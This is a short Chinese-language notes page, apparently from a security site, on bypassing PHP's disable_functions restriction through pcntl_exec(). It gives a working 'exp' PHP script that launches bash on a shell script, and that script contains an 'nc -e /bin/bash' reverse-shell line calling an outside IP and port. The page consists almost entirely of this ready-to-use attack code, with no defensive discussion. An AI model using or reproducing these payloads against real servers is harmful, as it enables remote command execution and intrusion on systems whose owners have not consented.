menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-Disable function chevron_right 003-利用 pcntl_exec 绕过.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    003-利用 pcntl_exec 绕过.md
    532 B / 2021-07-17 00:01:40
        ## ***利用 pcntl_exec 绕过***
    
    **1\. 前提条件**
    
    PHP安装并启用了pcntl插件
    
    **2\. 基本原理**
    
    利用pcntl_exec()这个pcntl插件专有的命令执行函数来执行系统命令,从而绕过disable_functions
    
    **3\. exp**
    
    > exp.php
    
    ```php
    #利用pcntl_exec()执行test.sh
    <?php
    if(function_exists('pcntl_exec')) {
      pcntl_exec("/bin/bash", array("/tmp/test.sh"));
    } else {
        echo 'pcntl extension is not support!';
    }
    ?>
    
    ```
    
    > test.sh
    
    ```bash
    #!/bin/bash
    nc -e /bin/bash 1.1.1.1 8888    #反弹shell
    
    ```
    
    
    
    links
    file_download